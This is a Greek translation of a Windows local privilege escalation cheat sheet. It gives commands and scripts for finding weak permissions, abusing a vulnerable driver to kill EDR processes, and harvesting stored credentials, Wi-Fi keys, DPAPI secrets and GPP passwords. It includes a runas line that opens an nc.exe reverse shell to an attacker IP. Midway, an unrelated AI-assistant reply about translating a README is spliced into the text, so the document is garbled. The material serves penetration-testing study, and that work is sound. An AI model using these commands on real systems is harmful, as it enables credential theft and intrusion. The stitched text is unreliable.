Έλεγξε αν μπορείς να τροποποιήσεις κάποιο αρχείο ρυθμίσεων για να διαβάσεις κάποιο ειδικό αρχείο ή αν μπορείς να τροποποιήσεις κάποιο binary που πρόκειται να εκτελεστεί από έναν Administrator λογαριασμό (schedtasks).
Ένας τρόπος να βρεις αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι ο εξής:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Εκτέλεση κατά την εκκίνηση
Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποια εγγραφή του μητρώου (registry) ή κάποιο binary που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.
Διαβάστε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με ενδιαφέρουσες autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Οδηγοί
Αναζητήστε πιθανούς third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Μέτρα μετριασμού για προγραμματιστές
- Πάντα ορίστε FILE_DEVICE_SECURE_OPEN κατά τη δημιουργία device objects που προορίζονται να περιοριστούν από μια DACL.
- Επικυρώστε το context του καλούντος για privileged operations. Προσθέστε ελέγχους PP/PPL πριν επιτρέψετε τον τερματισμό διεργασίας ή την επιστροφή handles.
- Περιορίστε τα IOCTLs (access masks, METHOD_*, input validation) και εξετάστε brokered models αντί για απευθείας kernel privileges.
Ιδέες ανίχνευσης για ομάδες άμυνας
- Παρακολουθήστε user-mode opens ύποπτων ονομάτων συσκευών (π.χ., \ .\amsdk*) και συγκεκριμένες ακολουθίες IOCTL που υποδηλώνουν κατάχρηση.
- Εφαρμόστε τη λίστα αποκλεισμού ευάλωτων drivers της Microsoft (HVCI/WDAC/Smart App Control) και διατηρήστε τις δικές σας allow/deny lists.
PATH DLL Hijacking
Εάν έχετε write permissions inside a folder present on PATH μπορεί να μπορείτε να hijack μια DLL που φορτώνεται από μια διεργασία και να escalate privileges.
Ελέγξτε τα δικαιώματα όλων των φακέλων που βρίσκονται στο PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Για περισσότερες πληροφορίες σχετικά με τον τρόπο εκμετάλλευσης αυτού του ελέγχου:
Writable Sys Path +Dll Hijacking Privesc
Δίκτυο
Κοινόχρηστοι φάκελοι
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Ελέγξτε για άλλους γνωστούς υπολογιστές hardcoded στο hosts file
type C:\Windows\System32\drivers\etc\hosts
Διεπαφές Δικτύου & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Ανοικτές Θύρες
Έλεγχος για περιορισμένες υπηρεσίες από το εξωτερικό
netstat -ano #Opened ports?
Πίνακας Δρομολόγησης
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Πίνακας ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Δείτε αυτή τη σελίδα για εντολές σχετικές με το Firewall (λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση…)
Περισσότερες εντολές για απογραφή δικτύου εδώ
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Το Binary bash.exe μπορεί επίσης να βρεθεί στο C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Αν αποκτήσετε root user μπορείτε να ακούσετε σε οποιαδήποτε port (την πρώτη φορά που θα χρησιμοποιήσετε nc.exe για να ακούσει σε μια port, θα ρωτήσει μέσω GUI αν το nc πρέπει να επιτραπεί από το firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Για να ξεκινήσετε εύκολα το bash ως root, μπορείτε να δοκιμάσετε --default-user root
Μπορείτε να εξερευνήσετε το σύστημα αρχείων του WSL στον φάκελο C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Διαπιστευτήρια Windows
Διαπιστευτήρια Winlogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
Από https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Το Windows Vault αποθηκεύει διαπιστευτήρια χρηστών για διακομιστές, ιστότοπους και άλλα προγράμματα που Windows μπορεί να συνδέει αυτόματα τους χρήστεςy. Στην πρώτη ματιά, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήριά τους για Facebook, Twitter, Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω προγραμμάτων περιήγησης. Αλλά δεν συμβαίνει έτσι.
Το Windows Vault αποθηκεύει διαπιστευτήρια τα οποία το Windows μπορεί να χρησιμοποιήσει για να συνδέει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε Windows application that needs credentials to access a resource (διακομιστής ή ιστότοπος) can make use of this Credential Manager & Windows Vault και να χρησιμοποιεί τα παρεχόμενα διαπιστευτήρια αντί οι χρήστες να εισάγουν συνέχεια το username και το password.
Εφόσον οι εφαρμογές δεν αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι μπορούν να χρησιμοποιήσουν τα διαπιστευτήρια για έναν συγκεκριμένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει με κάποιον τρόπο να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτόν τον πόρο από το προεπιλεγμένο storage vault.
Χρησιμοποιήστε το cmdkey για να εμφανίσετε τη λίστα με τα αποθηκευμένα διαπιστευτήρια στον υπολογιστή.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το runas με την επιλογή /savecred για να χρησιμοποιήσετε τα αποθηκευμένα credentials. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο binary μέσω ενός SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Χρήση του runas με παρεχόμενα διαπιστευτήρια.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Σημειώστε ότι mimikatz, lazagne, credentialfileview, VaultPasswordView, ή από το Empire Powershells module.
DPAPI
Η Data Protection API (DPAPI) παρέχει μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος, συμβάλλοντας σημαντικά στην εντροπία.
Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προκύπτει από τα μυστικά σύνδεσης του χρήστη. Σε περιπτώσεις κρυπτογράφησης συστήματος, χρησιμοποιεί τα μυστικά πιστοποίησης domain του συστήματος.
Κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας DPAPI, αποθηκεύονται στον φάκελο %APPDATA%\Microsoft\Protect{SID}, όπου {SID} αντιπροσωπεύει το [Security Identifier] του χρήστη. Το κλειδί DPAPI, που συνυπάρχει με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο, αποτελείται συνήθως από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον φάκελο είναι περιορισμένη, αποτρέποντας την απαρίθμηση του περιεχομένου του μέσω της εντολής dir στο CMD, αν και μπορεί να απαριθμηθεί μέσω του PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::masterkey με τα κατάλληλα ορίσματα (/pvk ή /rpc) για να το αποκρυπτογραφήσετε.
Τα credentials files protected by the master password βρίσκονται συνήθως στο:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::cred με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε.
Μπορείτε να εξάγετε πολλούς DPAPI masterkeys από τη memory με το sekurlsa::dpapi module (αν είστε root).
PowerShell Διαπιστευτήρια
PowerShell credentials χρησιμοποιούνται συχνά για scripting και εργασίες αυτοματοποίησης ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας DPAPI, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν.
Για να αποκρυπτογραφήσετε ένα PS διαπιστευτήριο από το αρχείο που το περιέχει μπορείτε να κάνετε:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Αποθηκευμένες Συνδέσεις RDP
Μπορείτε να τις βρείτε στο HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
και στο HKCU\Software\Microsoft\Terminal Server Client\Servers\
Πρόσφατα Εκτελεσμένες Εντολές
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Διαχείριση Διαπιστευτηρίων Απομακρυσμένης Επιφάνειας Εργασίας
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Χρησιμοποιήστε το Mimikatz dpapi::rdg module με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg
Μπορείτε να εξάγετε πολλά DPAPI masterkeys από τη μνήμη με το Mimikatz sekurlsa::dpapi module
Sticky Notes
Συχνά οι χρήστες χρησιμοποιούν την εφαρμογή StickyNotes σε σταθμούς εργασίας Windows για να αποθηκεύουν κωδικούς πρόσβασης και άλλες πληροφορίες, χωρίς να αντιλαμβάνονται ότι πρόκειται για αρχείο βάσης δεδομένων. Το αρχείο βρίσκεται στο C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε.
AppCmd.exe
Σημειώστε ότι για να ανακτήσετε κωδικούς από το AppCmd.exe πρέπει να είστε Administrator και να τρέχετε σε High Integrity level.
AppCmd.exe βρίσκεται στον κατάλογο %systemroot%\system32\inetsrv\.\
Εάν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι έχουν διαμορφωθεί ορισμένες credentials που μπορούν να ανακτηθούν.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Ελέγξτε αν υπάρχει C:\Windows\CCM\SCClient.exe .
Installers εκτελούνται με SYSTEM privileges, πολλά είναι ευάλωτα σε DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Αρχεία και Μητρώο (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Κλειδιά κεντρικού υπολογιστή
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH κλειδιά στο μητρώο
Τα ιδιωτικά κλειδιά SSH μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου HKCU\Software\OpenSSH\Agent\Keys, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί μέσα:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Αν βρεις οποιαδήποτε εγγραφή μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί εύκολα να αποκρυπτογραφηθεί χρησιμοποιώντας https://github.com/ropnop/windows_sshagent_extract.
Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Εάν η υπηρεσία ssh-agent δεν τρέχει και θέλεις να ξεκινάει αυτόματα κατά την εκκίνηση, εκτέλεσε:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Φαίνεται ότι αυτή η τεχνική δεν ισχύει πλέον. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με
ssh-addκαι να συνδεθώ μέσω ssh σε μια μηχανή. Το registry HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση τουdpapi.dllκατά την αυθεντικοποίηση με ασύμμετρα κλειδιά.
Ανεπιτήρητα αρχεία
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας metasploit: post/windows/gather/enum_unattend
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM αντίγραφα ασφαλείας
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Διαπιστευτήρια Cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Αναζητήστε ένα αρχείο με όνομα SiteList.xml
Αποθηκευμένος κωδικός GPP
Μια λειτουργία υπήρχε προηγουμένως που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά προβλήματα ασφαλείας. Πρώτον, τα Group Policy Objects (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε domain χρήστη. Δεύτερον, οι κωδικοί μέσα σε αυτά τα GPP, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό αποτελούσε σοβαρό κίνδυνο, καθώς μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώει για τοπικά cached αρχεία GPP τα οποία περιέχουν το πεδίο “cpassword” που δεν είναι κενό. Όταν βρεθεί τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα custom PowerShell object. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες για το GPP και τη θέση του αρχείου, βοηθώντας στην ταυτοποίηση και την αντιμετώπιση αυτής της ευπάθειας ασφαλείας.
Αναζητήστε στο C:\ProgramData\Microsoft\Group Policy\history ή στο C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) τα παρακάτω αρχεία:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Για να αποκρυπτογραφήσετε το cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Χρήση του crackmapexec για να αποκτήσετε τους κωδικούς πρόσβασης:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
Διαμόρφωση Web του IIS
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Παράδειγμα web.config με διαπιστευτήρια:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN διαπιστευτήρια
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Καταγραφές
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Ζητήστε credentials
Μπορείτε πάντα να ζητήσετε από τον χρήστη να εισάγει τα credentials του ή ακόμα και τα credentials ενός διαφορετικού χρήστη αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το να ζητήσετε απευθείας από τον πελάτη τα credentials είναι πραγματικά επικίνδυνο):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Πιθανά ονόματα αρχείων που περιέχουν credentials
Γνωστά αρχεία που κάποτε περιείχαν passwords σε clear-text ή Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I don’t have access to your filesystem or repository. Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here (or the files you want translated), and I’ll translate them to Greek following your rules.
If you want to search locally for files first, run one of these commands in your repo:
-
To list matching files:
- find src/windows-hardening -type f -name “README.md”
- find src/windows-hardening -type f -iname “*.md”
-
To search file contents for a pattern:
- grep -RIn “pattern” src/windows-hardening
-
To show a specific file:
- sed -n ‘1,200p’ src/windows-hardening/windows-local-privilege-escalation/README.md
Paste the file content when ready and I’ll translate it.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credentials στο RecycleBin
